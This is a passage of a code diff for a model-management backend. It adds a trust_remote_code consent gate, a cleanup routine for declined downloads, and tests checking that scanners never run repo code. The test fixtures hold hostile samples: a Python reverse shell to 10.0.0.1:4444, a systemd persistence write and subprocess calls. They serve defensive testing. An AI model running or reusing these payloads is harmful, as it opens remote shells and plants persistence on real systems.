+    calls this when the scan reported ``created_by_scan``.
+    """
+    if is_local_path(model_name):
+        return {"deleted": False, "reason": "local"}
+    if not _is_valid_repo_id(model_name):
+        return {"deleted": False, "reason": "invalid"}
+
+    # Never delete a model that is loaded for inference.
+    try:
+        from routes.inference import get_llama_cpp_backend
+        llama_backend = get_llama_cpp_backend()
+        if llama_backend.is_loaded and llama_backend.model_identifier:
+            loaded = llama_backend.model_identifier.lower()
+            if loaded == model_name.lower() or loaded.startswith(model_name.lower()):
+                return {"deleted": False, "reason": "loaded"}
+    except Exception:
+        pass
+    try:
+        inference_backend = get_inference_backend()
+        if inference_backend.active_model_name:
+            active = inference_backend.active_model_name.lower()
+            if active == model_name.lower() or active.startswith(model_name.lower()):
+                return {"deleted": False, "reason": "loaded"}
+    except Exception:
+        pass
+
+    _WEIGHTS = (
+        ".safetensors",
+        ".bin",
+        ".pt",
+        ".pth",
+        ".h5",
+        ".msgpack",
+        ".gguf",
+        ".onnx",
+        ".ckpt",
+    )
+    try:
+        target_repo = None
+        hf_cache = None
+        for cache in _all_hf_cache_scans():
+            for repo_info in cache.repos:
+                if repo_info.repo_type != "model":
+                    continue
+                if repo_info.repo_id.lower() == model_name.lower():
+                    target_repo, hf_cache = repo_info, cache
+                    break
+            if target_repo is not None:
+                break
+
+        if target_repo is None:
+            return {"deleted": False, "reason": "not_cached"}
+
+        # Hard guard: a repo with weights is a real model the user has -- leave it.
+        for rev in target_repo.revisions:
+            for f in rev.files:
+                if f.file_name.lower().endswith(_WEIGHTS):
+                    return {"deleted": False, "reason": "has_weights"}
+
+        revision_hashes = [rev.commit_hash for rev in target_repo.revisions]
+        if not revision_hashes:
+            return {"deleted": False, "reason": "not_cached"}
+        hf_cache.delete_revisions(*revision_hashes).execute()
+        logger.info("Discarded declined remote-code download: %s", model_name)
+        return {"deleted": True}
+    except Exception as e:
+        logger.warning("Could not discard remote-code download for %s: %s", model_name, e)
+        return {"deleted": False, "reason": "error"}
+
+
 @router.get("/loras")
 async def scan_loras(
     outputs_dir: str = Query(
@@ -1990,7 +2185,11 @@ async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get
 
 
 @router.get("/check-vision/{model_name:path}", response_model = VisionCheckResponse)
-async def check_vision_model(model_name: str, current_subject: str = Depends(get_current_subject)):
+async def check_vision_model(
+    model_name: str,
+    hf_token: Optional[str] = Query(None),
+    current_subject: str = Depends(get_current_subject),
+):
     """
     Check if a model is a vision model.
 
@@ -1998,7 +2197,8 @@ async def check_vision_model(model_name: str, current_subject: str = Depends(get
     """
     try:
         logger.info(f"Checking if vision model: {model_name}")
-        is_vision = is_vision_model(model_name)
+        # Authenticate so a gated/private VLM classifies correctly (else 404 -> non-vision).
+        is_vision = is_vision_model(model_name, hf_token = hf_token)
 
         logger.info(f"Vision check result for {model_name}: is_vision={is_vision}")
         return VisionCheckResponse(
@@ -2348,6 +2548,51 @@ def _get_repo_size_cached(repo_id: str) -> int:
         return 0
 
 
+def _repo_in_any_hf_cache(model_name: str) -> bool:
+    """Whether ``model_name`` already exists in ANY HF cache the discard searches
+    (active, legacy, default).
+
+    ``created_by_scan`` must be True only when the scan itself first pulled the repo;
+    checking just the active cache (``get_cache_path``) would mark a repo the user
+    already had in a legacy/default cache as scan-created, so declining the consent
+    would delete a model they did not download via the scan. Mirrors the cache set in
+    ``_all_hf_cache_scans`` but only probes for the one repo dir (cheap, no full scan).
+    """
+    from utils.paths import (
+        hf_default_cache_dir,
+        legacy_hf_cache_dir,
+        resolve_cached_repo_id_case,
+    )
+
+    dirname = f"models--{resolve_cached_repo_id_case(model_name).replace('/', '--')}"
+    dirname_lower = dirname.lower()
+    candidates = []
+    try:
+        from huggingface_hub.constants import HF_HUB_CACHE
+        candidates.append(Path(HF_HUB_CACHE))
+    except Exception:
+        pass
+    for fn in (legacy_hf_cache_dir, hf_default_cache_dir):
+        try:
+            candidates.append(fn())
+        except Exception:
+            continue
+    # resolve_cached_repo_id_case only normalizes the ACTIVE cache, but discard deletes
+    # case-insensitively across all caches, so detect case-insensitively too -- else a
+    # pre-existing case-variant repo is misreported as scan-created and deleted on decline.
+    for cache in candidates:
+        try:
+            if (cache / dirname).exists():
+                return True
+            if cache.is_dir():
+                for entry in cache.iterdir():
+                    if entry.name.lower() == dirname_lower and entry.is_dir():
+                        return True
+        except Exception:
+            continue
+    return False
+
+
 def _all_hf_cache_scans():
     """scan_cache_dir for the active, legacy, and default HF caches.
 
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 09a3e06c91..5860b395d5 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -248,18 +248,30 @@ async def start_training(
             "output_dir": resume_output_dir,
             "resume_from_checkpoint": request.resume_from_checkpoint,
             "trust_remote_code": request.trust_remote_code,
+            "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint,
             "gpu_ids": request.gpu_ids,
             "s3_config": request.s3_config.model_dump() if request.s3_config else None,
         }
 
-        # Training page has no trust_remote_code toggle; as a safety net consult
-        # YAML model defaults directly so models that need it always get it.
+        # Training page has no trust_remote_code toggle, so honor the YAML default
+        # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a
+        # local path or a name merely starting with "unsloth/".
         if not training_kwargs["trust_remote_code"]:
+            from utils.security.trusted_org import is_trusted_org_repo
+
             model_defaults = load_model_defaults(request.model_name)
             yaml_trust = model_defaults.get("training", {}).get("trust_remote_code", False)
-            if yaml_trust:
+            if yaml_trust and is_trusted_org_repo(
+                request.model_name, hf_token = request.hf_token or None
+            ):
                 logger.info(f"YAML config sets trust_remote_code=True for {request.model_name}")
                 training_kwargs["trust_remote_code"] = True
+            elif yaml_trust:
+                logger.warning(
+                    "YAML sets trust_remote_code=True for %s but it is not a trusted "
+                    "first-party repo; leaving disabled (user can opt in explicitly).",
+                    request.model_name,
+                )
 
         # Free GPU memory: shut down any running inference/export subprocesses
         # before training (they'd compete for VRAM otherwise).
diff --git a/studio/backend/tests/test_capability_detection.py b/studio/backend/tests/test_capability_detection.py
new file mode 100644
index 0000000000..c8e1b63468
--- /dev/null
+++ b/studio/backend/tests/test_capability_detection.py
@@ -0,0 +1,361 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Component A tests: capability detection must never execute model repo code.
+
+Covers: load_model_config defaults trust_remote_code False; the _VISION_CHECK_SCRIPT
+subprocess literal keeps remote code off; registry-backed vision/audio detection from
+raw config.json (repo-code VLMs detected without execution; ForConditionalGeneration
+false positives fixed); and the model-details / GPU probes never enable remote code.
+"""
+
+import json
+from types import SimpleNamespace
+from unittest.mock import patch, MagicMock
+
+import pytest
+
+from utils.models.model_config import (
+    load_model_config,
+    is_vision_model,
+    _is_vlm,
+    _raw_config_has_vision_config,
+    _vision_detection_cache,
+    _VISION_CHECK_SCRIPT,
+    _VLM_MODEL_TYPES,
+    _AUDIO_ONLY_MODEL_TYPES,
+    _VLM_CLASS_NAMES,
+)
+
+
+@pytest.fixture(autouse = True)
+def _clear_vision_cache():
+    _vision_detection_cache.clear()
+    yield
+    _vision_detection_cache.clear()
+
+
+def _write_model_dir(
+    tmp_path,
+    cfg,
+    with_evil_module = False,
+):
+    """Write a local model dir, optionally with an auto_map module that writes a sentinel
+    on import so accidental code execution during detection shows up on disk."""
+    (tmp_path / "config.json").write_text(json.dumps(cfg))
+    if with_evil_module:
+        sentinel = tmp_path / "PWNED_SENTINEL"
+        (tmp_path / "modeling_evil.py").write_text(
+            "import os\n"
+            f"open({str(sentinel)!r}, 'w').write('pwned')\n"
+            "class EvilConfig: pass\n"
+            "class EvilModel: pass\n"
+        )
+    return str(tmp_path)
+
+
+# load_model_config default
+class TestLoadModelConfigDefault:
+    @patch("transformers.AutoConfig.from_pretrained")
+    def test_default_off_with_token(self, fp):
+        load_model_config("org/m", token = "hf_x")
+        assert fp.call_args.kwargs["trust_remote_code"] is False
+
+    @patch("utils.models.model_config.without_hf_auth")
+    @patch("transformers.AutoConfig.from_pretrained")
+    def test_default_off_public(self, fp, no_auth):
+        from contextlib import nullcontext
+
+        no_auth.return_value = nullcontext()
+        load_model_config("org/m", use_auth = False)
+        assert fp.call_args.kwargs["trust_remote_code"] is False
+
+    @patch("transformers.AutoConfig.from_pretrained")
+    def test_default_off_cached_auth(self, fp):
+        load_model_config("org/m", use_auth = True)
+        assert fp.call_args.kwargs["trust_remote_code"] is False
+
+    @patch("transformers.AutoConfig.from_pretrained")
+    def test_explicit_true_forwarded(self, fp):
+        load_model_config("org/m", token = "t", trust_remote_code = True)
+        assert fp.call_args.kwargs["trust_remote_code"] is True
+
+
+# subprocess script literal
+def test_vision_check_script_disables_remote_code():
+    assert '"trust_remote_code": False' in _VISION_CHECK_SCRIPT
+    assert '"trust_remote_code": True' not in _VISION_CHECK_SCRIPT
+
+
+# _is_vlm matrix (pure function, registry-backed)
+def _cfg(**kw):
+    return SimpleNamespace(**kw)
+
+
+class TestIsVlm:
+    def test_deepseek_ocr_vision_via_vision_config(self):
+        # auto_map repo-code model; vision-ness is declarative.
+        c = _cfg(
+            model_type = "deepseek_vl_v2",
+            architectures = ["DeepseekOCRForCausalLM"],
+            vision_config = {},
+            projector_config = {},
+        )
+        assert _is_vlm(c) is True
+
+    def test_kimi_vision_via_vision_config(self):
+        c = _cfg(
+            model_type = "kimi_k25",
+            architectures = ["KimiK25ForConditionalGeneration"],
+            vision_config = {},
+        )
+        assert _is_vlm(c) is True
+
+    def test_glm_flash_text_is_not_vision(self):
+        c = _cfg(model_type = "glm4_moe_lite", architectures = ["Glm4MoeLiteForCausalLM"])
+        assert _is_vlm(c) is False
+
+    def test_gemma4_vision_via_vision_config(self):
+        c = _cfg(
+            model_type = "gemma4_unified",
+            architectures = ["Gemma4UnifiedForConditionalGeneration"],
+            vision_config = {},
+            image_token_id = 1,
+        )
+        assert _is_vlm(c) is True
+
+    def test_t5_not_misclassified_as_vision(self):
+        # Regression: ForConditionalGeneration must NOT be a vision signal.
+        c = _cfg(model_type = "t5", architectures = ["T5ForConditionalGeneration"])
+        assert _is_vlm(c) is False
+
+    def test_bart_not_misclassified_as_vision(self):
+        c = _cfg(model_type = "bart", architectures = ["BartForConditionalGeneration"])
+        assert _is_vlm(c) is False
+
+    def test_whisper_audio_not_vision(self):
+        c = _cfg(model_type = "whisper", architectures = ["WhisperForConditionalGeneration"])
+        assert _is_vlm(c) is False
+
+    def test_csm_audio_not_vision(self):
+        c = _cfg(model_type = "csm", architectures = ["CsmForConditionalGeneration"])
+        assert _is_vlm(c) is False
+
+    def test_native_vlm_via_registry_model_type(self):
+        # llava is in the transformers vision registry.
+        assert "llava" in _VLM_MODEL_TYPES
+        c = _cfg(model_type = "llava", architectures = ["LlavaForConditionalGeneration"])
+        assert _is_vlm(c) is True
+
+    def test_native_vlm_via_registry_class_name(self):
+        # Class-name match works even if model_type were unknown.
+        cls = next(iter(_VLM_CLASS_NAMES))
+        c = _cfg(model_type = "something_unlisted", architectures = [cls])
+        assert _is_vlm(c) is True
+
+    def test_omni_audio_plus_vision_is_vision(self):
+        # An audio-registry model_type with an explicit vision sub-config is still vision.
+        audio_mt = next(iter(_AUDIO_ONLY_MODEL_TYPES - _VLM_MODEL_TYPES))
+        c = _cfg(model_type = audio_mt, architectures = ["X"], vision_config = {})
+        assert _is_vlm(c) is True
+
+
+# _raw_config_has_vision_config (code-free reader, mocked HF download)
+def _mock_raw_config(tmp_path, payload):
+    p = tmp_path / "config.json"
+    p.write_text(json.dumps(payload))
+    return p
+
+
+class TestRawConfigVisionReader:
+    @pytest.mark.parametrize(
+        "payload,expected",
+        [
+            (
+                {
+                    "model_type": "deepseek_vl_v2",
+                    "architectures": ["DeepseekOCRForCausalLM"],
+                    "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"},
+                    "vision_config": {},
+                    "projector_config": {},
+                },
+                True,
+            ),
+            (
+                {
+                    "model_type": "kimi_k25",
+                    "architectures": ["KimiK25ForConditionalGeneration"],
+                    "auto_map": {"AutoConfig": "configuration_kimi_k25.KimiK25Config"},
+                    "vision_config": {},
+                },
+                True,
+            ),
+            ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False),
+            (
+                {
+                    "model_type": "gemma4_unified",
+                    "architectures": ["Gemma4UnifiedForConditionalGeneration"],
+                    "vision_config": {},
+                },
+                True,
+            ),
+            ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False),
+            (
+                {"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]},
+                False,
+            ),
+            ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False),
+        ],
+    )
+    def test_reader(self, tmp_path, payload, expected):
+        cfg_path = _mock_raw_config(tmp_path, payload)
+        with (
+            patch("utils.models.model_config.is_local_path", return_value = False),
+            patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)),
+        ):
+            assert _raw_config_has_vision_config("org/model") is expected
+
+    def test_reader_never_executes_remote_code(self, tmp_path):
+        # Even with auto_map present, the reader only parses JSON: no AutoConfig touched.
+        cfg_path = _mock_raw_config(
+            tmp_path,
+            {
+                "model_type": "deepseek_vl_v2",
+                "architectures": ["DeepseekOCRForCausalLM"],
+                "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"},
+                "vision_config": {},
+            },
+        )
+        with (
+            patch("utils.models.model_config.is_local_path", return_value = False),
+            patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)),
+            patch(
+                "transformers.AutoConfig.from_pretrained",
+                side_effect = AssertionError("AutoConfig must not be called"),
+            ),
+        ):
+            assert _raw_config_has_vision_config("org/deepseek-ocr") is True
+
+
+# Probes: model-details + GPU estimate never execute remote code
+def test_gpu_estimate_probe_is_code_free():
+    from utils.hardware import hardware
+
+    cfg = {
+        "model_type": "glm4_moe_lite",
+        "hidden_size": 4096,
+        "num_hidden_layers": 40,
+        "max_position_embeddings": 8192,
+    }
+    with (
+        patch("utils.transformers_version._load_config_json", return_value = cfg),
+        patch(
+            "transformers.AutoConfig.from_pretrained",
+            side_effect = AssertionError("AutoConfig must not be called"),
+        ),
+    ):
+        out = hardware._load_config_for_gpu_estimate("unsloth/GLM-4.7-Flash")
+    assert out.max_position_embeddings == 8192
+    assert out.hidden_size == 4096
+
+
+def test_models_route_source_has_no_remote_code_probe():
+    # The metadata probe must never build a trust_remote_code=True loader; referencing
+    # the static consent scanner or the requires_trust_remote_code flag is fine.
+    import inspect
+    import routes.models as models_route
+
+    src = inspect.getsource(models_route)
+    assert "trust_remote_code = True" not in src
+    assert "trust_remote_code=True" not in src
+
+
+# Adversarial end-to-end: is_vision_model + the two metadata probes never run auto_map.
+def test_no_code_execution_on_detection(tmp_path):
+    # A malicious local auto_map -> modeling_evil must not execute through any probe.
+    cfg = {
+        "model_type": "deepseek_vl_v2",
+        "architectures": ["DeepseekOCRForCausalLM"],
+        "auto_map": {
+            "AutoConfig": "modeling_evil.EvilConfig",
+            "AutoModel": "modeling_evil.EvilModel",
+        },
+        "vision_config": {"image_size": 1024},
+        "max_position_embeddings": 4096,
+    }
+    path = _write_model_dir(tmp_path, cfg, with_evil_module = True)
+    sentinel = tmp_path / "PWNED_SENTINEL"
+
+    from utils.hardware.hardware import _load_config_for_gpu_estimate
+    from utils.transformers_version import _load_config_json
+
+    result = is_vision_model(path)
+    ns = _load_config_for_gpu_estimate(path)
+    raw = _load_config_json(path)
+
+    assert not sentinel.exists(), "SECURITY FAILURE: auto_map code executed during detection"
+    assert result is True  # detected as vision via raw vision_config, no exec
+    assert ns is not None and getattr(ns, "max_position_embeddings", None) == 4096
+    assert raw is not None and raw.get("model_type") == "deepseek_vl_v2"
+
+
+@pytest.mark.parametrize(
+    "cfg, expected",
+    [
+        # repo-code VLMs (auto_map) detected via declarative vision_config
+        (
+            {
+                "model_type": "deepseek_vl_v2",
+                "architectures": ["DeepseekOCRForCausalLM"],
+                "auto_map": {"AutoConfig": "x.Y"},
+                "vision_config": {},
+            },
+            True,
+        ),
+        (
+            {
+                "model_type": "kimi_k25",
+                "architectures": ["KimiK25ForConditionalGeneration"],
+                "auto_map": {"AutoConfig": "x.Y"},
+                "vision_config": {},
+            },
+            True,
+        ),
+        # newer-native vision via vision_config
+        (
+            {
+                "model_type": "gemma4_unified",
+                "architectures": ["Gemma4UnifiedForConditionalGeneration"],
+                "vision_config": {},
+                "image_token_id": 7,
+            },
+            True,
+        ),
+        # text / seq2seq / audio that share the ForConditionalGeneration suffix
+        ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False),
+        ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False),
+        ({"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, False),
+        ({"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, False),
+        ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False),
+        # registry-native VLMs via model_type
+        ({"model_type": "qwen2_vl", "architectures": ["Qwen2VLForConditionalGeneration"]}, True),
+        ({"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, True),
+    ],
+)
+def test_is_vision_model_end_to_end(tmp_path, cfg, expected):
+    path = _write_model_dir(tmp_path, cfg)
+    assert is_vision_model(path) is expected, f"{cfg['model_type']} expected vision={expected}"
+
+
+def test_registry_derivation():
+    # Registry-derived sets are large and include the curated repo-code VLMs.
+    assert len(_VLM_MODEL_TYPES) >= 50, f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}"
+    assert (
+        len(_AUDIO_ONLY_MODEL_TYPES) >= 20
+    ), f"_AUDIO_ONLY too small: {len(_AUDIO_ONLY_MODEL_TYPES)}"
+    for repo_vlm in ("deepseek_vl_v2", "kimi_k25", "phi3_v", "cogvlm2", "minicpmv"):
+        assert repo_vlm in _VLM_MODEL_TYPES, f"curated repo-code VLM {repo_vlm} missing"
+    for native in ("llava", "qwen2_vl"):
+        assert native in _VLM_MODEL_TYPES, f"registry-native VLM {native} missing"
+    for audio in ("whisper", "csm"):
+        assert audio in _AUDIO_ONLY_MODEL_TYPES, f"audio type {audio} missing"
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
new file mode 100644
index 0000000000..67b44ede89
--- /dev/null
+++ b/studio/backend/tests/test_consent_gate.py
@@ -0,0 +1,1414 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the trust_remote_code consent gate.
+
+The gate scans a repo's auto_map Python before a trust_remote_code=True load and
+refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner
+and fingerprint run for real; only the config/file fetch is stubbed.
+"""
+
+import os
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+import utils.security.consent as consent
+from utils.security import (
+    RemoteCodeDecision,
+    evaluate_remote_code_consent,
+    evaluate_remote_code_consent_for_targets,
+    is_trusted_org_repo,
+    remote_code_fingerprint,
+    scan_remote_code_files,
+    should_block_remote_code,
+)
+from huggingface_hub.utils import EntryNotFoundError
+
+from utils.security.remote_code_scan import (
+    CRITICAL,
+    HIGH,
+    REMOTE_CODE_CONFIG_FILES,
+    RemoteCodeUnscannable,
+    repo_remote_code_files,
+)
+from utils.security.trusted_org import clear_cache
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+@pytest.fixture(autouse = True)
+def _clean_trusted_org_cache(monkeypatch):
+    """Clear the trusted-org cache and force online mode for the Hub-verify path."""
+    clear_cache()
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    yield
+    clear_cache()
+
+
+# HIGH severity (persistence install): approvable, blocks untrusted repos.
+_HIGH = {
+    "modeling_persist.py": (
+        "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
+    )
+}
+# CRITICAL severity (reverse shell) - blocks even a first-party repo.
+_CRITICAL = {
+    "modeling_backdoor.py": (
+        "import socket, subprocess, os\n"
+        "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
+        "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
+    )
+}
+_BENIGN = {
+    "modeling_ok.py": (
+        "import torch\n"
+        "class MyModel(torch.nn.Module):\n"
+        "    def forward(self, x):\n"
+        "        return x + 1\n"
+    )
+}
+
+
+def _with_auto_map(files):
+    """Patch the gate so auto_map is present and the given files are returned."""
+    return (
+        patch.object(consent, "_config_has_auto_map", return_value = True),
+        patch.object(consent, "repo_remote_code_files", return_value = files),
+    )
+
+
+class TestConsentGate:
+    def test_disabled_is_a_noop(self):
+        d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
+        assert isinstance(d, RemoteCodeDecision)
+        assert d.has_remote_code is False and d.blocked is False
+
+    def test_no_auto_map_is_noop(self):
+        with patch.object(consent, "_config_has_auto_map", return_value = False):
+            d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
+        assert d.has_remote_code is False
+        assert d.blocked is False
+        assert "no-op" in d.reason
+
+    def test_unknown_auto_map_is_scanned_not_skipped(self):
+        # Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op.
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = None),
+            patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
+        ):
+            d = evaluate_remote_code_consent(
+                "private/evil", trust_remote_code = True, trusted_org = False
+            )
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert "no-op" not in d.reason
+
+    def test_benign_remote_code_allowed(self):
+        a, b = _with_auto_map(_BENIGN)
+        with a, b:
+            d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
+        assert d.has_remote_code is True
+        assert d.blocked is False
+        assert d.fingerprint  # still fingerprinted for pinning
+
+    def test_high_third_party_blocked(self):
+        # HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL).
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d = evaluate_remote_code_consent(
+                "evil/Model", trust_remote_code = True, trusted_org = False
+            )
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert d.approvable is True
+        assert d.max_severity == "HIGH"
+        assert d.fingerprint
+        # response payload is frontend-ready, with STRUCTURED findings.
+        p = d.response_payload()
+        assert p["error_kind"] == "remote_code_consent_required"
+        assert p["approvable"] is True
+        assert p["fingerprint"] == d.fingerprint
+        assert isinstance(p["findings"], list) and p["findings"]
+        f0 = p["findings"][0]
+        assert {"severity", "file", "check"} <= set(f0)
+
+    def test_high_first_party_requires_approval(self):
+        # First-party is no longer a blanket bypass: HIGH code from a first-party repo
+        # requires per-version approval like any other (approvable, unlike CRITICAL).
+        # Real first-party models scan clean; this uses a synthetic HIGH payload.
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d = evaluate_remote_code_consent(
+                "unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
+            )
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert d.approvable is True
+        assert d.max_severity == "HIGH"
+        assert d.fingerprint
+        assert "approval required" in d.reason
+
+    def test_bare_subprocess_blocked_third_party(self):
+        # A bare subprocess.Popen in a config __init__: model code must never shell out, so block.
+        files = {
+            "configuration.py": (
+                "import subprocess\n"
+                "class RemoteConfig:\n"
+                "    def __init__(self):\n"
+                "        subprocess.Popen(['xcalc'])\n"
+            )
+        }
+        a, b = _with_auto_map(files)
+        with a, b:
+            d = evaluate_remote_code_consent(
+                "third-party/custom-model", trust_remote_code = True, trusted_org = False
+            )
+        assert d.blocked is True
+        assert d.max_severity == "HIGH"
+        assert "subprocess" in d.findings_summary.lower()
+
+    def test_critical_blocked_even_first_party(self):
+        # CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable.
+        a, b = _with_auto_map(_CRITICAL)
+        with a, b:
+            d = evaluate_remote_code_consent(
+                "unsloth/Compromised", trust_remote_code = True, trusted_org = True
+            )
+        assert d.blocked is True
+        assert d.approvable is False
+        assert d.max_severity == "CRITICAL"
+        p = d.response_payload()
+        assert p["error_kind"] == "remote_code_blocked"
+        assert p["approvable"] is False
+
+    def test_approved_fingerprint_unblocks(self):
+        # HIGH (approvable) third-party code: a matching fingerprint unblocks.
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d1 = evaluate_remote_code_consent(
+                "evil/Model", trust_remote_code = True, trusted_org = False
+            )
+            d2 = evaluate_remote_code_consent(
+                "evil/Model",
+                trust_remote_code = True,
+                trusted_org = False,
+                approved_fingerprint = d1.fingerprint,
+            )
+        assert d1.blocked is True
+        assert d2.blocked is False
+        assert d2.reason == "approved by fingerprint"
+
+    def test_approved_fingerprint_does_not_unblock_critical(self):
+        # CRITICAL is a hard block: a matching fingerprint must never override it.
+        a, b = _with_auto_map(_CRITICAL)
+        with a, b:
+            d1 = evaluate_remote_code_consent(
+                "evil/Model", trust_remote_code = True, trusted_org = False
+            )
+            d2 = evaluate_remote_code_consent(
+                "evil/Model",
+                trust_remote_code = True,
+                trusted_org = False,
+                approved_fingerprint = d1.fingerprint,
+            )
+        assert d1.blocked is True and d1.approvable is False
+        assert d2.blocked is True and d2.approvable is False
+        assert d2.reason == "blocked: scan found CRITICAL patterns"
+
+    def test_wrong_fingerprint_still_blocked(self):
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d = evaluate_remote_code_consent(
+                "evil/Model",
+                trust_remote_code = True,
+                trusted_org = False,
+                approved_fingerprint = "deadbeef",
+            )
+        assert d.blocked is True
+
+    def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
+        # A LoRA adapter and base that both ship auto_map code are scanned as one unit and
+        # pinned by a single fingerprint over the union, so one approval unblocks the load.
+        adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
+        base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
+
+        def _files(name, hf_token = None):
+            return adapter_files if name == "org/adapter" else base_files
+
+        targets = ["org/adapter", "org/base"]
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = True),
+            patch.object(consent, "repo_remote_code_files", side_effect = _files),
+        ):
+            d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
+            d2 = evaluate_remote_code_consent_for_targets(
+                targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
+            )
+            base_only = evaluate_remote_code_consent_for_targets(
+                ["org/base"], trust_remote_code = True
+            )
+        assert d1.blocked is True
+        assert d1.max_severity == "HIGH"
+        # The single combined fingerprint approves the whole load (adapter + base).
+        assert d2.blocked is False
+        assert d2.reason == "approved by fingerprint"
+        # A fingerprint over the base alone must not match (no silent approval of adapter code).
+        assert base_only.fingerprint != d1.fingerprint
+
+    def test_fingerprint_is_casing_invariant_for_hub_repos(self):
+        # The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint
+        # pins code bytes, not the repo-id spelling, so casing must not change it (else the
+        # worker rejects the scan's approval as a mismatch).
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
+            d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
+        assert d1.fingerprint == d2.fingerprint
+        # An approval pinned from one casing unblocks the load under another casing.
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d3 = evaluate_remote_code_consent_for_targets(
+                ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
+            )
+        assert d3.blocked is False
+        assert d3.reason == "approved by fingerprint"
+
+    def test_fingerprint_target_key_keeps_local_path_casing(self):
+        from utils.security.consent import _fingerprint_target_key
+
+        # A local path is case-sensitive (case-sensitive filesystems); never folded.
+        with patch("utils.paths.is_local_path", return_value = True):
+            assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo"
+        # A Hub repo id is case-insensitive; folded so the pin is casing-robust.
+        with patch("utils.paths.is_local_path", return_value = False):
+            assert _fingerprint_target_key("Org/Model") == "org/model"
+
+    def test_unscannable_target_fails_closed_for_whole_load(self):
+        # If ANY target is present-but-unscannable, the whole load fails closed (non-approvable).
+        def _raise_for_base(name, hf_token = None):
+            if name == "org/base":
+                raise RemoteCodeUnscannable("gated")
+            return {"modeling_adapter.py": "import torch\n"}
+
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = True),
+            patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
+        ):
+            d = evaluate_remote_code_consent_for_targets(
+                ["org/adapter", "org/base"], trust_remote_code = True
+            )
+        assert d.blocked is True
+        assert d.approvable is False
+
+    def test_medium_severity_blocks_pending_approval(self):
+        # A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so
+        # trust_remote_code=True alone cannot run flagged code; a match then unblocks.
+        # MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy.
+        from utils.security.remote_code_scan import MEDIUM
+
+        class _MediumResult:
+            max_severity = MEDIUM
+
+            def summary(self):
+                return "MEDIUM: large-base64-blob"
+
+            def findings_payload(self):
+                return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]
+
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = True),
+            patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
+            patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
+        ):
+            d1 = evaluate_remote_code_consent(
+                "third/medium", trust_remote_code = True, trusted_org = False
+            )
+            d2 = evaluate_remote_code_consent(
+                "third/medium",
+                trust_remote_code = True,
+                trusted_org = False,
